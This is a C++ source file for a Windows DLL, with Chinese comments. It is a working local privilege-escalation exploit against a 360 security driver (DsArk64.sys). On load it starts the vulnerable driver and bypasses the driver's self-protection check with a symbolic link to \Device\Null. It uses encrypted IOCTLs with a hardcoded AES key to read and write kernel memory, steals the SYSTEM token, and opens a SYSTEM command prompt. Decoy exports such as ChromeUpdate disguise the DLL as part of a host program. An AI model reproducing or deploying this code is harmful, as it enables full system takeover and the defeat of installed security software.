1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601
| #include <windows.h> #include <iostream> #include <winternl.h> #include <bcrypt.h> #include <cstdint> #include <stdio.h> #pragma comment(lib, "Bcrypt.lib") #pragma comment(lib, "ntdll.lib")
#define IOCTL_TERMINATE_PROC 0x80863008 #define IOCTL_ARW_PRIMITIVE 0x80863028
// 驱动静态密钥 const BYTE AES_KEY[] = { 0x62, 0xb4, 0x56, 0xec, 0x40, 0x7f, 0x0a, 0x9a, 0x05, 0x91, 0x1c, 0xb6, 0xf2, 0x38, 0xa7, 0xfe }; const BYTE AES_IV[] = { 0xe5, 0x93, 0x29, 0xb6, 0xd4, 0x08, 0xe7, 0xfa, 0x55, 0x76, 0x37, 0xe6, 0x2c, 0x9e, 0xaa, 0x43 };
// 强制 1 字节对齐,且指针必须是 64 位 (uint64_t),以适配 WOW64 环境 #pragma pack(push, 1) struct DSARK_RW_PAYLOAD { DWORD SubCmd; DWORD Size; uint64_t TargetAddress; BYTE DataBuffer[512]; }; #pragma pack(pop)
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
#define SystemExtendedHandleInformation 64
// 强制 64 位布局的句柄信息结构体 struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { uint64_t Object; uint64_t UniqueProcessId; uint64_t HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; };
struct SYSTEM_HANDLE_INFORMATION_EX { uint64_t NumberOfHandles; uint64_t Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; };
// ======================================================================== // 密码学封包核心 (AES-128-CBC + MD5) // ======================================================================== bool EncryptDsArkPayload(DSARK_RW_PAYLOAD* pPlaintext, BYTE* pOutBuffer, DWORD* pOutLen) { BCRYPT_ALG_HANDLE hMd5Alg = NULL, hAesAlg = NULL; BCRYPT_HASH_HANDLE hHash = NULL; BCRYPT_KEY_HANDLE hKey = NULL; DWORD cbHash = 16, cbBlockLen = 16; BYTE hashDigest[16]; BCryptOpenAlgorithmProvider(&hMd5Alg, BCRYPT_MD5_ALGORITHM, NULL, 0); BCryptCreateHash(hMd5Alg, &hHash, NULL, 0, NULL, 0, 0); BCryptHashData(hHash, (PUCHAR)pPlaintext, sizeof(DSARK_RW_PAYLOAD), 0); BCryptFinishHash(hHash, hashDigest, cbHash, 0); BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hMd5Alg, 0);
DWORD rawSize = 16 + sizeof(DSARK_RW_PAYLOAD); BYTE* rawBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, rawSize + cbBlockLen); memcpy(rawBuffer, hashDigest, 16); memcpy(rawBuffer + 16, pPlaintext, sizeof(DSARK_RW_PAYLOAD));
DWORD paddedSize = (rawSize % cbBlockLen == 0) ? rawSize : ((rawSize / cbBlockLen) + 1) * cbBlockLen; BCryptOpenAlgorithmProvider(&hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0); BCryptSetProperty(hAesAlg, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); struct { BCRYPT_KEY_DATA_BLOB_HEADER Header; BYTE Key[16]; } KeyBlob; KeyBlob.Header.dwMagic = BCRYPT_KEY_DATA_BLOB_MAGIC; KeyBlob.Header.dwVersion = BCRYPT_KEY_DATA_BLOB_VERSION1; KeyBlob.Header.cbKeyData = 16; memcpy(KeyBlob.Key, AES_KEY, 16); BCryptImportKey(hAesAlg, NULL, BCRYPT_KEY_DATA_BLOB, &hKey, NULL, 0, (PUCHAR)&KeyBlob, sizeof(KeyBlob), 0);
BYTE ivCopy[16]; memcpy(ivCopy, AES_IV, 16);
// 不用 BCRYPT_BLOCK_PADDING: 数据已经 16 字节对齐,驱动端不剥 PKCS7 padding BCryptEncrypt(hKey, rawBuffer, paddedSize, NULL, ivCopy, 16, pOutBuffer, 1024, pOutLen, 0);
BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAesAlg, 0); HeapFree(GetProcessHeap(), 0, rawBuffer); return true; }
bool DecryptDsArkPayload(BYTE* pCipherBuffer, DWORD cipherLen, DSARK_RW_PAYLOAD* pOutPlaintext, BYTE* pIV) { // 检查驱动是否直接返回了明文! // 如果返回的是明文,偏移 16 字节处应该是 SubCmd (1 或 2) DWORD possibleSubCmd = *(DWORD*)(pCipherBuffer + 16); if (possibleSubCmd == 1 || possibleSubCmd == 2) { memcpy(pOutPlaintext, pCipherBuffer + 16, sizeof(DSARK_RW_PAYLOAD)); return true; }
BCRYPT_ALG_HANDLE hAesAlg = NULL; BCRYPT_KEY_HANDLE hKey = NULL;
BCryptOpenAlgorithmProvider(&hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0); BCryptSetProperty(hAesAlg, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
struct { BCRYPT_KEY_DATA_BLOB_HEADER Header; BYTE Key[16]; } KeyBlob; KeyBlob.Header.dwMagic = BCRYPT_KEY_DATA_BLOB_MAGIC; KeyBlob.Header.dwVersion = BCRYPT_KEY_DATA_BLOB_VERSION1; KeyBlob.Header.cbKeyData = 16; memcpy(KeyBlob.Key, AES_KEY, 16);
BCryptImportKey(hAesAlg, NULL, BCRYPT_KEY_DATA_BLOB, &hKey, NULL, 0, (PUCHAR)&KeyBlob, sizeof(KeyBlob), 0);
BYTE ivCopy[16]; memcpy(ivCopy, pIV, 16);
BYTE* decBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cipherLen); DWORD decLen = 0; NTSTATUS status = BCryptDecrypt(hKey, pCipherBuffer, cipherLen, NULL, ivCopy, 16, decBuffer, cipherLen, &decLen, 0);
BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAesAlg, 0);
if (status != 0 || decLen < 16 + sizeof(DSARK_RW_PAYLOAD)) { HeapFree(GetProcessHeap(), 0, decBuffer); return false; }
memcpy(pOutPlaintext, decBuffer + 16, sizeof(DSARK_RW_PAYLOAD)); HeapFree(GetProcessHeap(), 0, decBuffer); return true; }
// ======================================================================== // 内核读写原语 // ======================================================================== static int g_readDbgCount = 0; uint64_t KernelRead64(HANDLE hDevice, uint64_t address) { DSARK_RW_PAYLOAD req = { 0 }; req.SubCmd = 1; req.Size = 8; req.TargetAddress = address;
BYTE encBuffer[1024] = { 0 }; DWORD encLen = 0; bool encOk = EncryptDsArkPayload(&req, encBuffer, &encLen); BYTE outBuffer[1024] = { 0 }; DWORD bytesReturned = 0; // 驱动要求 InputLen == OutputLen BOOL ioctlOk = DeviceIoControl(hDevice, IOCTL_ARW_PRIMITIVE, encBuffer, encLen, outBuffer, encLen, &bytesReturned, NULL); DWORD ioctlErr = GetLastError();
if (!ioctlOk || bytesReturned == 0) return 0;
// 驱动在解密我们的请求后,AES 上下文的 IV 已经被更新为了请求密文的最后 16 字节 // 因此解密响应时,必须使用请求密文的最后 16 字节作为 IV! BYTE responseIV[16]; if (encLen >= 16) { memcpy(responseIV, encBuffer + encLen - 16, 16); } else { memcpy(responseIV, AES_IV, 16); }
DSARK_RW_PAYLOAD resp = { 0 }; bool decOk = DecryptDsArkPayload(outBuffer, bytesReturned, &resp, responseIV);
if (g_readDbgCount < 1) { g_readDbgCount++; WCHAR d[512]; wsprintfW(d, L"[DBG KernelRead64]\nAddr=0x%I64X\nEncOk=%d EncLen=%lu\nIOCTL=%d Err=%lu BytesRet=%lu\nDecOk=%d Out[0..7]=0x%02X%02X%02X%02X%02X%02X%02X%02X", address, encOk, encLen, ioctlOk, ioctlErr, bytesReturned, decOk, resp.DataBuffer[0],resp.DataBuffer[1],resp.DataBuffer[2],resp.DataBuffer[3], resp.DataBuffer[4],resp.DataBuffer[5],resp.DataBuffer[6],resp.DataBuffer[7]); MessageBoxW(NULL, d, L"BFL_DBG", MB_OK); }
if (!decOk) return 0; return *(uint64_t*)(resp.DataBuffer); }
void KernelWrite64(HANDLE hDevice, uint64_t address, uint64_t value) { DSARK_RW_PAYLOAD req = { 0 }; req.SubCmd = 2; req.Size = 8; req.TargetAddress = address; *(uint64_t*)req.DataBuffer = value;
BYTE encBuffer[1024] = { 0 }; DWORD encLen = 0; EncryptDsArkPayload(&req, encBuffer, &encLen);
BYTE outBuffer[1024] = { 0 }; DWORD bytesReturned = 0; DeviceIoControl(hDevice, IOCTL_ARW_PRIMITIVE, encBuffer, encLen, outBuffer, encLen, &bytesReturned, NULL); }
// 前置声明 static DWORD RvaToFileOffset(BYTE* fileData, DWORD rva);
// 从磁盘 PE 文件提取指定导出函数的 RVA static DWORD GetExportRVAFromFile(const WCHAR* filePath, const char* exportName) { HANDLE hFile = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) return 0; DWORD fileSize = GetFileSize(hFile, NULL); BYTE* fd = (BYTE*)VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); DWORD br; ReadFile(hFile, fd, fileSize, &br, NULL); CloseHandle(hFile); IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)fd; DWORD peOff = dos->e_lfanew; DWORD exportRva = *(DWORD*)(fd + peOff + 24 + 112); if (!exportRva) { VirtualFree(fd, 0, MEM_RELEASE); return 0; } DWORD exportOff = RvaToFileOffset(fd, exportRva); IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(fd + exportOff); DWORD* names = (DWORD*)(fd + RvaToFileOffset(fd, exp->AddressOfNames)); WORD* ords = (WORD*)(fd + RvaToFileOffset(fd, exp->AddressOfNameOrdinals)); DWORD* funcs = (DWORD*)(fd + RvaToFileOffset(fd, exp->AddressOfFunctions)); DWORD rva = 0; for (DWORD i = 0; i < exp->NumberOfNames; i++) { char* name = (char*)(fd + RvaToFileOffset(fd, names[i])); if (strcmp(name, exportName) == 0) { rva = funcs[ords[i]]; break; } } VirtualFree(fd, 0, MEM_RELEASE); return rva; }
bool EnablePrivilege(const char* privName);
// ======================================================================== // 提权核心逻辑 (WOW64 兼容 — 不依赖句柄表) // ======================================================================== void ExecutePrivilegeEscalation() { MessageBoxW(NULL, L"[*] Entered ExecutePrivilegeEscalation!", L"BFL_DBG", MB_OK);
// 1. 确保符号链接存在 DefineDosDeviceA(DDD_RAW_TARGET_PATH, "DsArk", "\\Device\\DsArk");
// 2. 获取 DsArk 句柄 (带有重试机制,解决内核加载耗时导致的竞态问题) HANDLE hDevice = INVALID_HANDLE_VALUE; DWORD cfErr = 0; for (int i = 0; i < 90; i++) { // 将重试次数增加到 90 次,硬扛过内核里 60 秒的死等阻塞 hDevice = CreateFileA("\\\\.\\DsArk", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice != INVALID_HANDLE_VALUE) { break; } cfErr = GetLastError(); Sleep(1000); // 每次重试间隔1秒 }
if (hDevice == INVALID_HANDLE_VALUE) { WCHAR e[256]; wsprintfW(e, L"[-] CreateFile err=%lu after 90 seconds wait. (Make sure service is running)", cfErr); MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR); return; }
MessageBoxW(NULL, L"[+] Got device handle! Native IOCTL processing enabled.", L"BFL_DBG", MB_OK);
// 3. 神级绕过:用符号链接占坑 \Device\360SelfProtection 指向 \Device\Null // 这样 DsArk 的 IOCTL 校验请求会发给 Null 驱动,Null 会无条件返回 STATUS_SUCCESS! EnablePrivilege("SeCreateSymbolicLinkPrivilege");
typedef struct _UNICODE_STRING_LOCAL { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING_LOCAL;
typedef struct _OBJECT_ATTRIBUTES_LOCAL { ULONG Length; HANDLE RootDirectory; UNICODE_STRING_LOCAL* ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES_LOCAL;
typedef NTSTATUS(NTAPI* NtCreateSymbolicLinkObject_t)( PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES_LOCAL* ObjectAttributes, UNICODE_STRING_LOCAL* LinkTarget );
HMODULE hNtDll = GetModuleHandleA("ntdll.dll"); auto fnNtCreateSymbolicLinkObject = (NtCreateSymbolicLinkObject_t)GetProcAddress(hNtDll, "NtCreateSymbolicLinkObject");
UNICODE_STRING_LOCAL symName; symName.Buffer = (PWSTR)L"\\Device\\360SelfProtection"; symName.Length = (USHORT)(wcslen(symName.Buffer) * sizeof(WCHAR)); symName.MaximumLength = symName.Length + sizeof(WCHAR);
OBJECT_ATTRIBUTES_LOCAL oa; oa.Length = sizeof(oa); oa.RootDirectory = NULL; oa.ObjectName = &symName; oa.Attributes = 0x00000040; // OBJ_CASE_INSENSITIVE oa.SecurityDescriptor = NULL; oa.SecurityQualityOfService = NULL;
UNICODE_STRING_LOCAL targetName; targetName.Buffer = (PWSTR)L"\\Device\\Null"; targetName.Length = (USHORT)(wcslen(targetName.Buffer) * sizeof(WCHAR)); targetName.MaximumLength = targetName.Length + sizeof(WCHAR);
HANDLE hFaked360SP = NULL; NTSTATUS symStatus = fnNtCreateSymbolicLinkObject(&hFaked360SP, GENERIC_ALL, &oa, &targetName);
WCHAR fakedMsg[256]; wsprintfW(fakedMsg, L"[*] Faked \\Device\\360SP -> \\Device\\Null\nStatus: 0x%08X (0=OK)\nHandle: %p", symStatus, hFaked360SP); MessageBoxW(NULL, fakedMsg, L"BFL_DBG", MB_OK);
// Step 1: 获取 ntoskrnl 截断基址 // HMODULE hNtDll 已经在上面定义过了 auto NtQSI = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation"); ULONG bufSize = 0x20000; BYTE* modBuf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize); NTSTATUS st = NtQSI(11, modBuf, bufSize, &bufSize); // SystemModuleInformation if (st == (NTSTATUS)0xC0000004) { modBuf = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, modBuf, bufSize); st = NtQSI(11, modBuf, bufSize, &bufSize); } if (st < 0) { WCHAR e[128]; wsprintfW(e, L"[-] SysModInfo failed: 0x%08X", st); MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR); HeapFree(GetProcessHeap(), 0, modBuf); CloseHandle(hDevice); return; } // RTL_PROCESS_MODULES: ULONG NumberOfModules(4), then Modules[0]: // HANDLE Section(4) + PVOID MappedBase(4) + PVOID ImageBase(4) + ... DWORD ntBaseLow = *(DWORD*)(modBuf + 4 + 8); // offset 12 = Modules[0].ImageBase HeapFree(GetProcessHeap(), 0, modBuf);
WCHAR dbg1[128]; wsprintfW(dbg1, L"[*] ntoskrnl low32=0x%08X", ntBaseLow); MessageBoxW(NULL, dbg1, L"BFL_DBG", MB_OK);
// Step 2: 先测试 KernelRead64 是否能工作 // KUSER_SHARED_DATA 固定地址 0xFFFFF78000000000, offset 0x26C = NtMajorVersion (应为 10) uint64_t testKusd = KernelRead64(hDevice, 0xFFFFF7800000026CULL); WCHAR dbgTest[256]; wsprintfW(dbgTest, L"[*] KernelRead test: KUSD.NtMajorVer=0x%I64X (expect 0xA=10)", testKusd); MessageBoxW(NULL, dbgTest, L"BFL_DBG", MB_OK);
// 探测重建完整基址 uint64_t ntBase = 0; for (uint64_t hi = 0xFFFFF800; hi <= 0xFFFFF810; hi++) { uint64_t c = (hi << 32) | ntBaseLow; uint64_t m = KernelRead64(hDevice, c); if ((m & 0xFFFF) == 0x5A4D) { ntBase = c; break; } } if (!ntBase) { // 显示第一个候选地址读到的值帮助诊断 uint64_t firstCandidate = (0xFFFFF800ULL << 32) | ntBaseLow; uint64_t firstVal = KernelRead64(hDevice, firstCandidate); WCHAR e[256]; wsprintfW(e, L"[-] ntoskrnl not found!\nFirst probe: 0x%I64X → 0x%I64X", firstCandidate, firstVal); MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR); CloseHandle(hDevice); return; } WCHAR dbg2[128]; wsprintfW(dbg2, L"[+] ntoskrnl=0x%I64X", ntBase); MessageBoxW(NULL, dbg2, L"BFL_DBG", MB_OK);
// Step 3: 从磁盘读 PsInitialSystemProcess RVA PVOID oldRedir = NULL; Wow64DisableWow64FsRedirection(&oldRedir); DWORD psRva = GetExportRVAFromFile(L"C:\\Windows\\System32\\ntoskrnl.exe", "PsInitialSystemProcess"); Wow64RevertWow64FsRedirection(oldRedir); if (!psRva) { MessageBoxW(NULL, L"[-] PsInitialSystemProcess not found!", L"BFL_DBG", MB_ICONERROR); CloseHandle(hDevice); return; }
// Step 4: 读取 System EPROCESS uint64_t systemEprocess = KernelRead64(hDevice, ntBase + psRva); WCHAR dbg3[128]; wsprintfW(dbg3, L"[+] System EPROCESS=0x%I64X", systemEprocess); MessageBoxW(NULL, dbg3, L"BFL_DBG", MB_OK);
// Step 5: 确定 EPROCESS 偏移 (尝试两组) uint64_t OFF_PID, OFF_LINKS, OFF_TOKEN; uint64_t testPid = KernelRead64(hDevice, systemEprocess + 0x2E8); if (testPid == 4) { OFF_PID = 0x2E8; OFF_LINKS = 0x2F0; OFF_TOKEN = 0x360; } else { testPid = KernelRead64(hDevice, systemEprocess + 0x440); if (testPid == 4) { OFF_PID = 0x440; OFF_LINKS = 0x448; OFF_TOKEN = 0x4B8; } else { WCHAR e[256]; wsprintfW(e, L"[-] PID@+0x2E8=%I64u, @+0x440=%I64u. Unknown offsets!", KernelRead64(hDevice, systemEprocess + 0x2E8), KernelRead64(hDevice, systemEprocess + 0x440)); MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR); CloseHandle(hDevice); return; } }
// Step 6: 遍历链表找我们的进程 DWORD myPid = GetCurrentProcessId(); uint64_t currentEprocess = 0, iter = systemEprocess; do { uint64_t pid = KernelRead64(hDevice, iter + OFF_PID); if (pid == myPid) { currentEprocess = iter; break; } uint64_t flink = KernelRead64(hDevice, iter + OFF_LINKS); if (!flink) break; iter = flink - OFF_LINKS; } while (iter != systemEprocess && iter != 0);
if (!currentEprocess) { MessageBoxW(NULL, L"[-] Our EPROCESS not found!", L"BFL_DBG", MB_ICONERROR); CloseHandle(hDevice); return; }
// Step 7: Token 窃取 uint64_t sysToken = KernelRead64(hDevice, systemEprocess + OFF_TOKEN); uint64_t curToken = KernelRead64(hDevice, currentEprocess + OFF_TOKEN); uint64_t newToken = (sysToken & ~0xFULL) | (curToken & 0xFULL);
WCHAR dbgTk[256]; wsprintfW(dbgTk, L"[*] SysTok=0x%I64X CurTok=0x%I64X New=0x%I64X", sysToken, curToken, newToken); MessageBoxW(NULL, dbgTk, L"BFL_DBG", MB_OK);
KernelWrite64(hDevice, currentEprocess + OFF_TOKEN, newToken); MessageBoxW(NULL, L"[+] Token overwritten! Spawning cmd...", L"BFL_DBG", MB_OK);
// Step 8: 弹 SYSTEM cmd STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi; if (CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); MessageBoxW(NULL, L"[+] SYSTEM cmd spawned!", L"BFL_DBG", MB_OK); } else { WCHAR e[128]; wsprintfW(e, L"[-] CreateProcess err: %lu", GetLastError()); MessageBoxW(NULL, e, L"BFL_DBG", MB_ICONERROR); } CloseHandle(hDevice); }
// 启用指定特权的辅助函数 bool EnablePrivilege(LPCSTR lpszPrivilege) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false; LUID luid; if (!LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) { CloseHandle(hToken); return false; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bool result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); CloseHandle(hToken); return result && (GetLastError() == ERROR_SUCCESS); }
// RVA → 文件偏移转换 (解析 64 位 PE) static DWORD RvaToFileOffset(BYTE* base, DWORD rva) { IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base; // 64 位 PE,但 IMAGE_SECTION_HEADER 布局相同 DWORD peOff = dos->e_lfanew; WORD numSections = *(WORD*)(base + peOff + 6); WORD optHeaderSize = *(WORD*)(base + peOff + 20); BYTE* secTable = base + peOff + 24 + optHeaderSize; for (WORD i = 0; i < numSections; i++) { IMAGE_SECTION_HEADER* sec = (IMAGE_SECTION_HEADER*)(secTable + i * sizeof(IMAGE_SECTION_HEADER)); if (rva >= sec->VirtualAddress && rva < sec->VirtualAddress + sec->SizeOfRawData) { return sec->PointerToRawData + (rva - sec->VirtualAddress); } } return 0; }
bool LoadVulnerableDriver() { // 0. 检查 dsark 服务是否已由 360 加载 SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); if (hSCM) { SC_HANDLE hSvc = OpenServiceW(hSCM, L"dsark", SERVICE_QUERY_STATUS); if (hSvc) { SERVICE_STATUS ss = {0}; QueryServiceStatus(hSvc, &ss); WCHAR dbgSvc[128]; wsprintfW(dbgSvc, L"[*] dsark service state=%lu (4=RUNNING)", ss.dwCurrentState); MessageBoxW(NULL, dbgSvc, L"BFL_DBG", MB_OK);
if (ss.dwCurrentState == SERVICE_RUNNING) { CloseServiceHandle(hSvc); CloseServiceHandle(hSCM); return true; } CloseServiceHandle(hSvc); } else { WCHAR e[128]; wsprintfW(e, L"[*] OpenService(dsark) failed: %lu", GetLastError()); MessageBoxW(NULL, e, L"BFL_DBG", MB_OK); } CloseServiceHandle(hSCM); }
// 1. 获取 DsArk64.sys 的绝对路径 WCHAR exePath[MAX_PATH]; GetModuleFileNameW(NULL, exePath, MAX_PATH); WCHAR* lastSlash = wcsrchr(exePath, L'\\'); if (lastSlash) *(lastSlash + 1) = L'\0'; wcscat(exePath, L"DsArk64.sys"); // 360FsFlt\daboot=1 注册表 (DriverEntry 会检查) { HKEY hKey = NULL; DWORD disp = 0; if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\services\\360FsFlt", 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disp) == ERROR_SUCCESS) { DWORD val = 1; RegSetValueExW(hKey, L"daboot", 0, REG_DWORD, (BYTE*)&val, sizeof(val)); RegCloseKey(hKey); } }
// 2. 通过 SCM 注册驱动服务 (仅写注册表) SC_HANDLE hSCM2 = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hSCM2) { MessageBoxW(NULL, L"[-] OpenSCManager failed!", L"BFL_DBG", MB_ICONERROR); return false; } SC_HANDLE hService = CreateServiceW(hSCM2, L"dsark", L"dsark", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, exePath, NULL, NULL, NULL, NULL, NULL); DWORD dwErr = GetLastError(); if (!hService && dwErr == ERROR_SERVICE_EXISTS) { hService = OpenServiceW(hSCM2, L"dsark", SERVICE_ALL_ACCESS); if (hService) ChangeServiceConfigW(hService, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, exePath, NULL, NULL, NULL, NULL, NULL, NULL); } if (hService) CloseServiceHandle(hService);
// [核弹级绕过] 为什么之前第一次必卡死,第二次秒成功? // 因为原版代码在 32 位进程 (360ceupdate) 里使用了原生 NtLoadDriver, // 导致 DsArk 的 DriverEntry 试图给当前 32 位进程注入 Hook 时发生了死锁! // 当进程退出时,死锁打破,驱动加载成功! // 解决方案:使用标准系统机制 StartServiceW!让 64 位的 services.exe 去负责加载它, // 完美避开所有 32 位注入死锁! hService = OpenServiceW(hSCM2, L"dsark", SERVICE_START); if (hService) { StartServiceW(hService, 0, NULL); CloseServiceHandle(hService); } CloseServiceHandle(hSCM2);
Sleep(1000); // 给服务一秒钟的启动时间 return true; }
// 导出函数,维持宿主假象 extern "C" __declspec(dllexport) void __cdecl RegisterUserNotifyInterface(void* pObj) {} extern "C" __declspec(dllexport) int __cdecl ChromeUpdate(DWORD param1, DWORD param2) { return 0; }
// 全局异常捕获 (兼容 MinGW) static LONG WINAPI CrashHandler(EXCEPTION_POINTERS* ep) { WCHAR msg[256]; wsprintfW(msg, L"[!] CRASH! Code: 0x%08X Addr: 0x%p", ep->ExceptionRecord->ExceptionCode, ep->ExceptionRecord->ExceptionAddress); MessageBoxW(NULL, msg, L"BFL_DBG", MB_ICONERROR); return EXCEPTION_EXECUTE_HANDLER; }
// DLL 入口 BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); SetUnhandledExceptionFilter(CrashHandler); MessageBoxW(NULL, L"[*] DLL Loaded. Starting...", L"BFL_DBG", MB_OK); if (LoadVulnerableDriver()) { ExecutePrivilegeEscalation(); } break; } } return TRUE; }
|